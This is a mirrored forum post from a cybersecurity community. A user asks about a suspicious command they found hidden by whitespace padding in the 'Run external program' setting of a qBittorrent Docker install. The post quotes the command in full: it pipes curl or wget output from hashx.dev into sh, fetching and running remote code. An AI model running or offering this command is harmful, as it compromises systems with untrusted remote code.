cybersecurity

10 readers

1 users here now

This subreddit is for technical professionals to discuss cybersecurity news, research, threats, etc.

founded 1 year ago

MODERATORS

[email protected]

What is this default sneaky "Run external program"? (zerobytes.monster)

submitted 2 weeks ago by [email protected] to c/[email protected]

0 comments fedilink hide all child comments

The original post: /r/cybersecurity by /u/Acrobatic_Idea_3358 on 2024-11-06 17:11:31.

I just randomly noticed a strange thing, I thought that the checkbox is enabled and the command is empty, but then I noticed on the far end a strange "sh -c", which revealed a whole command, sneakily padded by empty spaces. What is it, what does it do and why is it there?

Note that I just installed qBittorrent on a NAS in Docker recently and I have not actively added this command.

https://preview.redd.it/y15dwxpoq9zd1.png?width=685&format=png&auto=webp&s=2b97039e631671a8fd2785f5a7b5ab898f644ecf

The command reads:

sh -c "(curl -skL https://hashx.dev || wget --no-check-certificate -qO - https://hashx.dev) | sh"

no comments (yet)

sorted by: hot top controversial new old

there doesn't seem to be anything here